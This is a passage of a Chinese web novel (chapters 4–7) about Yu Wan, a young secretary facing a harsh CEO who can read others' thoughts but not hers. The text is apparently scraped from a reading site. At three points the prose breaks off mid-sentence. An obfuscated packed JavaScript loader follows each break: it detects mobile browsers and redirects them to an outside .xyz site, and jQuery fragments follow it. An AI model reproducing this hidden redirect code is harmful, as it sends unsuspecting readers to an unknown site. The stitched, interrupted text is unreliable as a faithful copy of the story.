蔡杨同样是个性格温和的年轻男人,今年不过二十六岁,因为和虞晚年纪相近,说话更随意,“你快别鞠躬了,都快给人鞠晕了,总裁办不是吃人的地方,老板办公室才是。”
说到最后一句的时候,蔡秘书还刻意压低了声音。
其余两人被逗得哈哈大笑,林特助拍拍蔡杨的肩膀,调侃他:“你这话敢不敢当着傅总面说?”
蔡秘书当即摇头,苦着张脸:“我只有一条命。”
虞晚也笑了起来,抿着唇,没发出声音。
目前看来,总裁办员工性格都挺不错,虞晚心底悄悄松了口气。
林特助说完这些,要继续忙调职事宜,虞晚追出来询问林特助自己需要负责的工作。
林特助皱了下眉,思考道:“傅总暂时没说,但我现在被调走,按理说你就需要承担起我原本的工作。”
虞晚拿出笔记本,一双水灵灵的眸子格外认真,“您说。”
林特助一顿,简单说了两句:“稍后我会将傅总的工作行程表发你,你要合理安排好傅总的大小会议、出差、以及大型活动的参与,明确会议内容和所需文件,提前和傅总核对行程,有需要临时调整的记得协调好,及时通知相关人员,公司例会的举行时间和地点要在开会前十五分钟再次通知给与会人员,同时在会议上做好会议记录,会议后整理会议记录,将会议记录的电子档上传至公司内部,纸质版标注留存给行政部人员,放入档案室。具体工作听傅总吩咐和安排,这也是我想强调的一点,服从傅总的命令,不要擅自做出决定。最后,千万不要在傅总面前撒谎,诚恳认错,而不是辩驳,懂了吗?”
虞晚想起傅总的脾性,不明觉厉点点头:“我明白了。”
林特助和董总监都在强调不能在傅总面前撒谎,为什么?
傅总难道是个行走的测谎仪?
入职总裁办第一天,虞晚整个上午都没得到老板的任何吩咐。
傅知尧像是完全忘记了她这个人,办公室内另外两位同事似乎也没有使唤人的爱好,拿文件或者送文件都是自己做,虞晚不想干坐着,征得同意后,忙忙碌碌收拾起后面办公桌上的文件。
这些大多是总裁办积累的陈年文件,不算重要,但名目繁杂,收拾起来费劲儿,时间长了就都堆在没人用的工位上,虞晚看着凌乱的文件,不由得怀疑传说中老板是强迫症的真实性。
收拾完一大半,虞晚再抬头一看,已经到了吃饭时间。
办公室内另外两位同事离开的时候似乎还提醒她早点去吃饭。
她连忙擦擦手,准备去行政部找和她同批进公司的实习生一起吃饭。
平日里大家都
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585326|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是一起的,虞晚下意识以为今天也是,但走进行政部办公室一看,空无一人。
虞晚心头有些难以明说的落寞,转过身准备独自去食堂,刚好撞见闹肚子从洗手间出来的女生赖言栩。
“虞晚?”赖言栩诧异,“你怎么还没去吃饭?”
虞晚:“正要去吃,你怎么了,肚子不舒服吗?”
赖言栩摆摆手,“闹肚子而已,上了厕所好多了,我们一起去吃饭吧。”
“好。”
两人结伴去公司食堂吃饭,公司食堂在10层楼,电梯没多久就到了,排队打饭的人不算多,虞晚照旧点了两荤一素,被赖言栩询问怎么吃这么少。
虞晚想了想,她工资涨了不少,干脆大气地加了一份山药排骨汤。
端着餐盘和赖言栩一起找座位的时候,虞晚正在心头盘算自己的工资与日常花销。
作为全国知名企业,傅氏集团是出了名的工资高福利多待遇优,就拿虞晚举例。
还是行政部实习生时,虞晚一个月工资为五千,有额外五百元的交通补贴费用,相当于一个月工资五千五百元,实习期间只有人身意外险,但等转正,虞晚的工资就是六千五百元,五险一金会连同实习期的三个月一同补交。
现在成为总裁办的小秘书后,虞晚的工资一下升到八千!
等转正,她的工资就是一万!五险一金成为七险二金!
在岗位上任职超过一年,她的工资还能继续涨,据说是按照工龄的百分比涨,如果参与进重要项目,有可靠贡献度,还能拿高额奖金。
算完工资,再来算日常花销。
早晨花五块钱,在学校食堂买两个包子和一颗卤蛋,这些当然填不饱虞晚的肚子,到公司后,她会在茶水间冲泡一杯免费的速溶拿铁,再吃两块茶水间内的免费面包,勉强撑到中午。
至于午餐,虞晚从不会苛待自己,奢侈地选择两素一荤的炒菜,花费十块,米饭不够还能免费续,所以她午餐总是能吃得饱饱的。
晚餐相对简单得多,通常是一根水果黄瓜或者一颗苹果,再配上一碗六块钱的大份量素面。
算下来,虞晚一天在吃食上的花费不会超过三十块,一个月的花费不会超过九百块。
剩余的零钱虞晚都丢到存钱盒里,当做额外的奖励,买点零嘴或水果吃。
交通费就更好算了,地铁来回,一天花费十元,算上偶尔打车的费用,不超过三百块,再留五百块备用金,用于生病买药或者其他突发情况,相当于虞晚在五千五百块工资的情况下,一个月能存三千八百块。
这可是一笔巨款!
上辈子虞晚第一笔实习的工资才两千八,还不包括餐食、交通和住宿,几乎是倒贴钱去上班,而现在,虞晚的工资是八千。
那么她每个月能攒下来的钱就是六千三!转正后就是八千三!
这是巨款中的巨款!
不过,她暂时还没有算毕业后的租房费用,至于买房……
按照海市现在的房价,额,虞晚选择按照海市二手房的房价来算,个,十,百,千,万,十万,百万……
算了。
是她不配。
5. 第 5 章
虞晚收回发散的思绪,端着餐盘和赖言栩找座位。
赖言栩瞧见赵予书,拉着虞晚刚要过去,就听见她们讨论的声音。
“虞晚这算不算一朝飞上枝头变凤凰,长相不如赵予书,学历不如张念微,真搞不懂傅总怎么会选她,难不成选拔标准是看谁最呆?那她绝对是当之无愧的第一。”
一群人哄笑起来。
宋楚楚等她们笑完了才说,“虞晚不是那样的人,她被选中肯定是有她厉害的地方。”
有人撇嘴,“知道你和虞晚玩得好,但你也别睁眼说瞎话啊,谁不知道我们行政部就她虞晚学历最差,本地海市大学,就是个普通本科,你猜她怎么进的傅氏?说不定行政部实习生的名额都是睡出来的,毕竟,她长相虽然普通,但皮肤白净身材也不错,有些老头子啊,就好这一口。”
赖言栩皱了皱眉,正要开口,被虞晚拉了把,噤了声。
虞晚带着她坐到了另一张长桌上,和她们隔着一个承重柱,能听见讨论声却不会被看见的一个视觉死角。
虞晚打开餐盒拿出自己的勺子和筷子,隔壁传来声音。
有人问赵予书:“赵予书,你到底怎么了,从面试回来就心不在焉,难不成被傅总吓着了?傅总是有多残暴啊。”
“宋楚楚,你说说,傅总吓人吗?”
宋楚楚想了想,“其实还好,傅总没有那么可怕。”
“那你怎么没被选上?我记得你是新海大学吧,妥妥的211啊,怎么偏偏选了虞晚,你和虞晚玩得好,她有什么特长吗?”
宋楚楚纠结了一会儿,“其实,我和她玩得也不算多好。”
“也是,不过要我说,虞晚就算进了总裁办,也不过是个端茶倒水的小秘书,做不了什么大事,要是她被淘汰下来,其他人不还是有机会吗?”那位实习生揶揄,“所以,朋友们,别太早放弃。”
不多时,隔壁桌的话题就转向了其他地方,赖言栩时刻注意着虞晚的表情,但虞晚面色实在平静,反倒是她有些坐不住。
赖言栩问:“虞晚,她们那样说你,你就一点都不难过?”
虞晚心如止水地吃着饭,“难过啊,所以要多吃两口饭。”
赖言栩没料到虞晚是这个回答,哈哈笑起来,对虞晚的态度不如先前那么疏远。
两人一边吃一边聊,很快虞晚就知道了这个话很多的女孩的成长背景和家庭经历。
海市本地人,妥妥的白富美,高中读完就出国读了大学,爱丁堡大学毕业,毕业后回家躺了一年,被父母找关系塞进了傅氏行政部,要不是父母克扣生活费,她才不会来吃公司食堂。
值得一提的是,对方就是那个在初次讨论大老板时,颇有道理说着“除非是天生受虐狂,否则没人受得了”的人。
吃过饭,虞晚回到总裁办,刚坐下,虞晚就看到座机电话上一个未接来电,时间是二十分钟前。
拨打人正是总裁办公室的大老板。
虞晚赶忙起身,敲了敲大老板的办公室门。
“进。”
虞晚推门进去,“老板,我刚吃完午饭,回到办公室才看到您打来的电话,抱歉,您有什么吩咐吗?”
这是虞晚今天和大老板见的第二面,虞晚能明显察觉到大老板面色不善,黑色的眉头紧皱,彷佛能掐死蚊子,眸中情绪阴沉,好似她多说一句话就能立刻被他一个大浪拍死在沙滩上。
听不到,仍旧听不到。
虞晚同他距离不超过三米,但他还是听不见虞晚的心声,烦躁混合着没吃饭的饥饿,让傅知尧将手中的文件重重摔在办公桌上。
虞晚吓一跳。
“你还知道吃饭啊,我以为虞秘书是铁打的人,只需要呼吸空气就能活着,原来虞秘书还知道什么叫午餐时间到了,什么叫吃饭啊?!”
“林特助没告诉你什么叫秘书?没告诉你秘书的工作范畴?公司入职培训的时候没有告诉你这个公司的CEO是谁吗?你的顶头上司是谁你不知道吗?”
“午餐时间到了,你倒是潇洒,拍拍屁股就去吃饭,你的脑子呢,丢到下水道喂老鼠了吗?学历比不上其他人,难不成做人看眼色这方面也要缺根筋?!”
一连串的话,让虞晚喉头哽住,一句话也说不出,她低下头道歉,“……对不起老板,我现在就为您订餐,请您稍等。”
“稍等?稍等是等多久?订餐是订哪一家的,你知道我的忌口和过敏食物吗?虞秘书,你未免也太专断了吧,还是说,你以为这份秘书工作是天上掉馅儿饼,自以为坐稳了这个位置吗?试用期一个月,做不好给我滚蛋,从此傅氏集团旗下任何一个公司都不会录用你,永不录用。”
永不录用。
这句话像是一道雷,狠狠劈进虞晚大脑。
虞晚咬住牙克制颤栗,眼眶泛红,她再次道歉:“对不起老板,我会立刻找林特助询问,在三十分钟内将餐送到您的办公室。”
“出去。”
虞晚再次鞠躬,转过身推开办公室门。
她回到总裁办,拿好手机,乘坐电梯往楼下去,中途给林特助打去电话,说明来意。
林特助听虞晚语气就知道她肯定是被傅总给骂了,有些歉疚:“抱歉啊虞晚,这事是我考虑不周,我以为傅总会告诉你,稍等,我把傅总常吃的几家餐厅和忌口等发给你,你按照上面来,上面有标注送餐时间,你提前订餐就好,偶尔傅总会加班,记得提前询问傅总,将送餐时间调前或者调后。”
虞晚道过谢,没有时间犹豫,点开文件看,发现离公司最近的一家餐厅送餐时间都需要半小时,还是提前订餐的情况下。
从时间上来看根本来不及,虞晚看了眼手机上的时间,在脑子里做好规划,出了电梯就开始疯狂奔跑,先是去便利店买了精致的多层餐盒,紧接着跑去附近的小炒店,拜托老板现炒三份菜装进饭盒。
炒菜店内这个时候人不多,后厨只有一个大厨在吭哧吭哧挥铲子。
虞晚看了眼时间,心底愈发焦急:“师傅,能不能炒快点,五分钟内能炒完吗?”
师傅戴着口罩,“五分钟?姑娘,你催命都没这么急啊。”
见虞晚急得眼眶发红,师傅随口道:“你要是真着急,你自己进来炒,我们厨房有两口锅。”
本是一句玩笑话,下一秒,师傅就看到虞晚撸起袖子走了进来,“诶诶诶,你怎么真进来了!”
虞晚已经揉干净眼泪,不慌不忙穿上围裙,开灶热锅,倒油,将案板上切好的菜倒入锅中翻炒,师傅看她动作流畅,也不多劝说了。
那么大一口锅,难为她一个女孩子掂得动。
三份菜炒完,虞晚还多做了一份简单的西红柿鸡蛋汤,将饭盒清洗后,装好菜。
为了不让汤撒出来,虞晚尽可能地快步走,等抵达办公室虞晚胸口起伏不止,她努力平复着急促的呼吸,敲门进去。
“抱歉老板,饭已经买到了,我现在帮您把饭摆好。”
傅知尧看了眼时间,刚刚好,三十分钟。
傅知尧起身坐到沙发上,虞晚已经将饭盒拿出来,在茶几上按顺序摆好,都是简单的家常小炒,虽然不是什么名贵食材,但炒菜颜色漂亮,色泽鲜亮,甫一打开一股浓郁的香气扑鼻而来,是独属于炒菜的锅气。
三份菜,玉米虾仁,蒜蓉油麦菜,春笋炒牛肉,外加一份西红柿鸡蛋汤。
没有吃完后嘴里味道大的香辛类菜品,甚至分量都控制得恰到好处。
傅知尧看着没说话,虞晚心脏直跳,忍住舔唇的动作:“……老板,您看看还有没有什么您想吃的菜,我可以再去买。”
“在哪家店里买的?”
虞晚如实回答:“距离公司
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585327|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
五百米左右,‘老胡炒菜’那家店,不过老板您放心,我进后厨看了,后厨很干净,老板是戴着口罩炒菜的,因为订餐最快也要三十分钟,我怕来不及,所以选了离公司最近的炒菜店。”
傅知尧抬头看虞晚,她扎好的头发变得松散,耳旁溜出来几缕,三月份的天气,温度并不高,虞晚额头居然出了汗,黏住了几根细软的发丝,一双眼眼眶有些红,像是被狠狠揉过,眼底透着点忐忑。
视线再往下,傅知尧皱了皱眉,他看到了虞晚衬衫上的几点油渍,联想到虞晚说后厨很干净。
不出意外,这里面有菜是虞晚炒的。
“出去吧。”
这回声音比先前缓和,虞晚松口气,将手中的薄荷味便携漱口水和薄荷消毒湿纸巾放到傅知尧手旁,“老板,你吃完叫我,我马上进来收拾。”
“嗯。”
虞晚转身,走了几步,又回头,朝着傅知尧鞠躬,真诚道:“老板,这次真的很对不起,是我疏忽忘记给您订餐,不会再有下次了,感谢您给我当秘书的机会,谢谢您。”
或许那位实习生说的对,以她的学历和能力,她的确不是人群中最佳的秘书人选,然而大老板还是选了她,无论是出于何种原因,她都不能以一种理所当然的态度对待这份工作,必须努力,必须改变。
傅知尧刚塞进嘴里一口嫩滑的牛肉,就听到虞晚这样一番情真意切的话,还没来得及开口,就看到虞晚迈着坚定的步伐走出了办公室。
傅知尧挑眉,继续吃起菜。
算算时间,他有将近一个月没吃过家常炒菜了,上次吃还是在出国处理生意前和奶奶、妹妹一起吃的一顿。
昨天刚回国,还没来得及回老宅看奶奶她们。
平日里在公司,林特助给他订的餐都是偏西式的,简单精致,少有碳水和油烟气这么强烈的食物,吃是吃了,但肚子没半点饱腹感,和没吃过一样,肚子还冷冰冰的。
大概是真的饿了,三道菜一份汤,傅知尧解决得差不多。
这会儿再看这个粗糙的灰色不锈钢饭盒也没那么不顺眼了,吃完,在沙发上懒洋洋地躺了会儿,抬头朝侧边看去。
透过偏灰色的单向可视玻璃,能清楚看到虞晚半个脑袋,一双微垂的眼和还算挺翘的鼻梁,皮肤很白,头顶有几根碎毛翘着,随着她的动作摆动,有几分滑稽。
虞晚恰在此时停下手中的动作,抬头朝办公室看来。
傅知尧下意识撇开视线,意识到虞晚根本看不见办公室内的场景,嗤笑了一声,站起身,迈着长腿走到虞晚前面。
隔着一层玻璃,傅知尧看到虞晚干净整洁的桌面,视线再一瞥,虞晚正在埋头写笔记。
笔记上是和他有关的内容:
老板忌口:葱姜蒜,但并不讨厌葱姜蒜调味过的食物,不吃植物纤维过重的蔬菜,因为不方便吞咽,不喜欢醋味过重的……
老板常吃的几家餐厅:……
餐厅配送时间:……
老板喜欢喝的咖啡种类,最适合喝的时间段:……
傅知尧看着,眼眸中情绪淡了些,他敲敲玻璃,虞晚立刻站起来,试探地问:“老板?”
紧跟着,桌上的电话响了,大魔王的声音响起:“我吃完了,进来收拾吧。”
虞晚:“……”
打电话就打电话,莫名其妙敲玻璃干嘛。
虞晚合上笔记本,站起身,敲门走进办公室,“老板,我来收拾桌子。”
傅知尧已经在洗手台用薄荷漱口水清洗完口腔,正坐在老板椅上慢条斯理用薄荷味的消毒纸巾擦手指。
看着小秘书忙忙碌碌收拾餐盒的身影,傅知尧头一次觉得世界真安静。
或许,听不到人的心声才是正常的,或许,选虞晚当秘书不是一件坏事。
吃饱喝足的傅大魔王如是想。
6. 第 6 章
林特助调职在即,需要忙碌的事情比之前更多,中午接到虞晚求助电话,下午匆忙回了趟公司,第一时间走进傅总办公室同他汇报调职相关事宜。
说完工作上的事情,林特助稍稍犹豫了一会儿,傅知尧捕捉到他的心声。
-【虞晚的事情要不要和傅总说说呢,中午小姑娘给我电话的时候,声音还带着哭腔。】
-【傅总是这样的,嘴上爱说狠话,实际上心肠柔软,且洞悉人心的本领极强,小姑娘不懂这些,容易被吓到。】
傅知尧视线扫向他,“还有什么想说的?”
林特助冷不丁被打断心声,摇摇头,“工作上的话没有。”
想了想,他选择实话实说:“老板,虞晚今年才22岁,比我小了快九岁,初次当秘书经验不足肯定是有的,但我看得出来,她做事脚踏实地,不虚浮,是个还算不错的苗子,我这边会继续帮您搜罗合适的秘书人选,您要是实在不喜欢她,就让她回行政部当个小职员。”
-【虞晚是孤儿院长大的孩子,学业方面一直有老董事长基金会的援助,但生活方面一直都很拮据,要是被辞退,手头上积蓄肯定不足以维持生活,怪可怜的。】
傅知尧没什么表情,指关节轻轻敲了敲桌面,林特助看出来,这是不耐烦的表现。
正准备收住话头,就见傅知尧皱了下眉,嗓音淡漠:“作为交接工作的前辈,这些不是该你教她的,还要我来说?”
林特助反应过来,大老板这是听进去了他说的话,连忙道:“对不起老板,这是我的失职,我作为秘书疏忽了这点,我现在就去找虞晚。”
“嗯,出去吧。”
办公室大门合上,傅知尧看见林源进了总裁办,叫上虞晚去了隔壁的小办公室。
这回旁边没人,林特助将更多的更细致的有关傅总的事情告诉给虞晚,确认虞晚做好笔记且没什么困惑,拍拍她肩膀,安慰她。
“傅总骂人的话听过,吸取教训就行,别往心里去,工作都是这样,万事开头难,熬过去就好了。”
虞晚抿着唇,点点头,“谢谢林特助,我会的。”
不过短短一日,虞晚笔记本上有关傅知尧的东西就多了厚厚一摞,虞晚看着手中的笔记,沉默良久。
晚上下班照旧搭乘地铁,晚高峰人多,基本没有空座位,虞晚抓着栏杆,被人潮挤来挤去,顽强地站在原地,目光呆呆透过地铁车窗看向漆黑的地道,偶尔能从玻璃窗上看到自己一脸疲倦的倒影。
地铁四号线换二号线,共花费一小时回到学校。
打开宿舍门,虞晚恨不得立刻躺到床上去,但她还没洗澡,今天跑了一路,又在地铁里挤了快一小时,身上都是汗臭味。
虞晚放下挎包,没着急休息,将饭盒拿出来去洗手台那边清洗。
公司里没洗洁精,虞晚白天只用热水冲洗过一遍。
正冲洗着饭盒里的泡沫,宿舍门砰的一声被打开,毛新灵热情满满的声音传来。
“虞晚!我今天晚上和老板一起参加饭局,打包了好大一份果切,我们一起吃吧!”
虞晚笑着应声,“好,等我洗完饭盒。”
宿舍是四人寝的宿舍,除了她和毛新灵,还有两个舍友,她们宿舍算是专业混寝,四个人,四个不同专业。
虞晚是学市场营销的,毛新灵是学管理的,其他两个舍友,一个是学机器自动化,一个是学美术。
除了她和毛新灵实习的时候还住在宿舍,剩余两位舍友早早找好了房子搬出去。
虞晚刚穿来的时候还有些不知所措,生怕自己的性格和原主不同,但毛新灵似乎没察觉她的变化,甚至因为宿舍只有她们两人在,和她关系比从前更亲近几分。
毛新灵哼着歌,一边收拾东西一边和虞晚讲述今天第一次跟大老板去参加饭局的事情。
“我觉得我的老板可真是个大好人啊,虞晚,你知道我老板今年几岁吗?三十五岁,但是光看外表,说他二十七八岁我都信,穿着黑色西装,系酒红领带,熟男范儿,特帅,品味又好,要不是英年结婚,我都想追他。”
“今天谈合作,我都做好了加入酒桌文化的准备,毕竟不是在学校,社会多么残酷我爸妈和我强调过好多遍,但他们没料到我老板是个暖男,他帮我拦了好几次酒,对合作商说我酒精过敏不能喝酒。”
“谈完合作,还让我把桌上没吃的水果都打包了,说我们小姑娘都喜欢吃水果,让我带回来和室友分享呢,嘿嘿。”
水龙头的水还在流动,虞晚扯着笑对毛新灵的话表达赞同,眼眶却越来越红,手上的动作也慢了下来。
委屈、憋闷、茫然,太多太多的情绪积压在她心头。
如果可以,她根本不想穿进小说,没有谁心甘情愿成为所谓的配角,但既然已经来了这个世界,虞晚就做好了认真生活的准备,无论是找工作还是修改论文和导师沟通,虞晚都丝毫不含糊。
但今天发生的事情让她明白,她做的还不够好。
分明上辈子已经工作一年了,为什么还会犯这种低级错误,她不是没被上司骂过,不是没偷偷躲起来哭过,但永不录用这句话太可怕了,虞晚很害怕自己被辞退,害怕自己找不到工作,找不到工作,就没钱租房子,没钱吃饭,饿肚子的滋味太可怕了,她不想再经历。
她现在的存款不过六千,如果被辞退,在海市这样的繁华大都市能维持生计多久?
去其他的小城市发展吗?可无论哪个城市对她来说都是陌生的,她找不到自己的归属地。
虞晚咬着唇,借着水流声整理自己的情绪,等餐盒洗完,虞晚表情已经恢复平静。
晚上十一点,洗过澡,躺上床,只听到手机叮的一声响。
虞晚拿过手机,手机是个国产的低端智能手机,只需要一千二百九十九。
这个手机已经买了快四年,用起来时有卡顿,虞晚接电话的时候都要拼命在在屏幕上划拉半天,害她差点错过傅氏集团hr的电话。
虞晚心底盘算着等这个月工资发下来,买一个新手机,预算两千块左右,不然都当总裁秘书了还用一千以下的手机,说出去多少有些掉老板面子。
打开手机,是银行发来的短信,她的国奖到账了。
虞晚账户余额一下子就富足起来,看着余额,虞晚低落的心情缓缓被扫空。
她放下手机,开始回想今天发生的事情。
从进老板办公室面试开始,到中午因为疏忽忘记订午餐被责骂,拎着空餐盒在路上奔跑找餐厅时,她大脑一片空白,出汗了也不在意,只想着要快点买到饭,快点将午饭送到老板面前。
虞晚现在才有时间细细回顾反思。
她想留在傅氏吗?
答案是想,为高昂的工资,为大公司提供的资源和机会,为升职加薪,为买房子,为美好的未来。
林特助在秘书这个岗位上工作了五年,五年时间,他的职务就提升到了总经理,去了子公司,这可不是传说中的明升暗降。
林特助去的是傅氏集团旗下的银讯科技,专门做电子产品,包括手机、电脑和数码设备等等,发展前景无法估量,要是做得好,年入百万不在话下。更别提林特助手中分得傅氏集团的股份,只要傅氏存在一天,盈利一天,他就能坐着收钱。
那她能不能,能不能像林特助一样,从秘书到经理,从辅助大老板到独立负责一个项目,最后独立管理一个公司。
虞晚的心脏扑通扑通热起来,全身的血液都沸腾了起来,她难得觉得有些羞耻,她还没学会走路,倒是想着跑了,这大概就是她今日被批评的原因,总想着当秘书是什么高大上的工作,反而忘记最本职的工作。
目前而言,她的工作的确偏向于端茶倒水的琐碎,但这不意味着她只能端茶倒水。
她可以了解老板的工作行程,安排老板的工作行程;和老板一齐开会,做好会议记录,整理会议记录;同老板一起参加饭局,实景观摩合作达成流程,了解市场、政策、财务等各个领域的知识。
都说没吃过猪肉总见过猪跑,她就算再愚钝,也能从这里面学会很多,她不怕浪费时间,不怕浪费努力,她只怕自己没能在机会到来的时候把握住机会。
成为大老板的秘书,哪怕只是个小小的端茶倒水的秘书,于她而言是一次绝无仅有的机会,抱怨是没有意义的,她必须思考如何利用这个机会成长。
理清思绪和目标,虞晚合上眼,沉甸甸坠入梦乡。
第二天八点就抵达公司。
公司正常九点半上班,因此虞晚进入行政楼层的时候,四周静悄悄的,她一路安静去了总裁办。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585328|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打开门,坐在工位上将自己一天需要做的事情用日程表规划出来,打印好贴在挡板上时刻提醒自己。
时针指向九点。
虞晚已经从楼下咖啡店买好热拿铁和煎蛋火腿可颂,在傅总踏入办公室前一秒,替他推开办公室门,将热拿铁和可颂放到他办公桌上,随后放下薄荷漱口水和消毒纸巾。
傅知尧坐在老板椅上,翘起二郎腿,皮鞋悬空点了点地面,看着桌上的食物,凌厉的眉头动了动。
熟悉傅知尧的人可能看出来,他此刻的心情还不错。
傅知尧:“几点来的公司?”
虞晚如实回答:“八点。”
傅知尧端起热拿铁喝了一口,是他喜欢的榛果风味,糖浆加两泵,燕麦奶奶基底,还不错。
虞晚见傅知尧表情没有不满,悄悄松口气,旋即拿出随身笔记本,按照林特助教给她的。
“老板,我现在同您核对一下您今日的日程,今天早上十点和市场部、企划部有个品牌策划会议要开,会议地点和时间我已经以邮件的形式发给各位与会人员,截止到目前为止,只有市场部总监关彦轩没有回复。中午和禾延集团的老板谈宴会面谈合作,是有关旗下银讯科技的合作案,我已经提前预定好了餐厅,也给谈总的秘书打过电话确认,晚上有个金融商会,因为您明确拒绝过会上发言,所以我们只需要到场露脸即可,七点开始,八点半结束,之后是酒会时间。”
虞晚这段话说得相当流畅,因为在傅知尧到公司前她就练习过好几遍,怕自己说的时候结巴,甚至将话一字不差写在了笔记本上。
如果说虞晚将早餐端进来属于正常表现,那这段话着实让傅知尧讶异,不过一个晚上过去就能将日程表上时间和对应事件安排好,还算机灵。
但傅知尧没表现出对虞晚这段话的满意,毕竟他读不懂虞晚的心声,谁知道对方现在是不是在心底骂他呢。
因为昨晚回家后,躺在床上睡觉的他想起林特助的心声,忽然惊醒,觉得自己白天说得太过分。
平心而论,即便他在公司被传成大魔王,他却觉得他本质上还是个好老板,手下员工做错了事,他当然不会第一时间就开除,事不过三,一般手下员工犯错两次,他才会让对方滚蛋。
就像昨天面试里一位卷发女生,面上态度端正诚恳,心底却说一定要勾搭到他,成为人人敬仰的傅氏集团夫人。
简直是癞蛤蟆想吃天鹅肉,不仅异想天开,脸皮还厚。
但他只是骂了对方几句,没有开除对方,这难道不包容?
奇怪的是,对虞晚这样一个刚入职场不到一个月的小姑娘,他居然残酷到说出永不录用这种话。
难道是因为他听不清对方的心声?
可惜他是不会道歉的。
傅知尧放下热拿铁,薄唇吐出冰冷无情的话:“定好的会议室你去看过吗?会议室内有没有打扫干净,幕布和放映仪器能不能正常使用,有没有需要提前打印分发的文件,关彦轩没有回复会不会打电话提前问他?谈总是深市人,来海市谈生意需不需要提前为他们定好酒店,定的话定几间?吃饭的时候要提前选菜,对方有没有忌口你问过没?晚上参加会议的地点在哪里,路上会不会堵车,和司机协商出发时间了没有?”
虞晚反应过来,一面道歉一面快速在笔记本上记录,“对不起老板,是我考虑不周。”
傅知尧冷嗤一声,意有所指:“虞秘书,你进步空间还大着呢。”
“我明白,谢谢老板指点。”
虞晚鞠躬,在傅知尧挥手不愿多言语的动作下走出办公室,也是这个时候她回味过来,老板说她进步空间大,意思是不是她相比昨天进步了许多。
坐到工位上没几秒,黑色座机电话响了,还是大老板的电话,“老板,是不是早餐有什么问题?”
虞晚有些惶恐。
大魔王的声音却懒洋洋:“薄荷漱口水和消毒纸巾挺不错的,你多买些,发票留着,报销流程按照财务教你的,直接上报给我。”
虞晚进公司快一个月了,知道财务报销的流程,点点头,“好的老板,还有其他事情吗?”
“嘟——”
回答虞晚的,是挂掉的电话。
虞晚:“……”
她真的要生气了!
7. 第 7 章
确认老板没其他事情,虞晚拿着手机出去查看即将开会的会议室情况,顺便借用行政办公室的打印机打印资料。
总裁办内的打印机正被蔡秘书使用,他听着打印机噗嗤噗嗤打印文件的声音,背对着傅总办公室和尚秘书交流,“我怎么觉得傅总使唤起虞晚比使唤我们还要顺手呢。”
尚志风老神在在,“你懂什么,要是看不中虞晚,连使唤都懒得,虞晚才22岁,多锻炼锻炼不是坏事。”
没谁愿意整日对着自己不喜欢的人,在尚志风看来,傅总会选虞晚当秘书,从某种程度上来说,已经是对虞晚的一种肯定。
虞晚进了行政部办公区,和季主管说明借用打印机的来意。
“行,你用吧,反正现在没人用打印机。”季主管说。
季主管对虞晚态度既不过分热情,也不过分冷淡。
虽然虞晚现在是傅总的秘书,但季主管对虞晚能否长久留在傅总身边存疑,另外,虞晚现在充其量只是个高级文员,在职位级别上仍旧低她一头,她做主管的总不能低头哈腰,失了自己的威信。
虞晚没季主管想得那么多,道过谢,开始打印文件,设定打印十一份,打印时间在五分钟左右。
虞晚趁着空档检查了一遍会议室情况,确认没问题后走到消防通道内给关彦轩总监打电话。
电话足足响了一分钟才被接通,那头的声音十足傲慢:“谁?”
虞晚道:“关总监您好,我是总裁办的秘书虞晚,十点有个会议在1003号会议室举行,因为您一直没回邮件,所以只好给您打电话,请问您知晓吗?”
“你是不是在说废话,这个会议室我发起的,你说我知不知道?”
不等虞晚说话,电话嘟的一声挂断。
虞晚手机卡,挂断的页面足足停留三十秒才消失。
在经历过老板的责骂后,虞晚对关总监冷漠高傲的口吻无动于衷,默默收起手机回到行政办公室。
弯腰准备取文件,却发现本该在打印机里待着的文件不翼而飞,另一份不属于她的文件正缓缓被打印机吐出来。
虞晚一瞬就慌了,转头询问最近工位的同事,那位女生扫了眼,低头继续看电脑:“我看到有人过去拿,我还以为是你呢。”
虞晚:“那你看清楚是谁了吗?”
万一是有人拿错了呢。
结果那位女生摇摇头,“没看清楚,谁让你自己离开的。”
赵予书恰好在此刻走入办公室,瞧见虞晚一脸着急,有些诧异,“虞晚,你怎么在这里?”
“我过来打印待会儿开会要用的文件。”虞晚随口问,“你知道刚才打印机上的文件去哪里了吗?”
因为不是太重要的文件,虞晚才会借用行政部的打印机,但没料到会出现这种事。
赵予书捂着嘴唇,漂亮的眼睛轻微瞪大,“刚刚打印机那里的文件是你的吗?我以为是谁打错的文件,扔进碎纸机了,不好意思啊虞晚,你不会怪我吧,要不然你等我打完再打印?”
虞晚没回答赵予书这番话,看了眼打印机屏幕,上面显示一共要打印一百多页。
虞晚转身跑回总裁办,重新打印所需文件,焦急地盯着手机上显示的时间。
距离会议开始只剩五分钟。
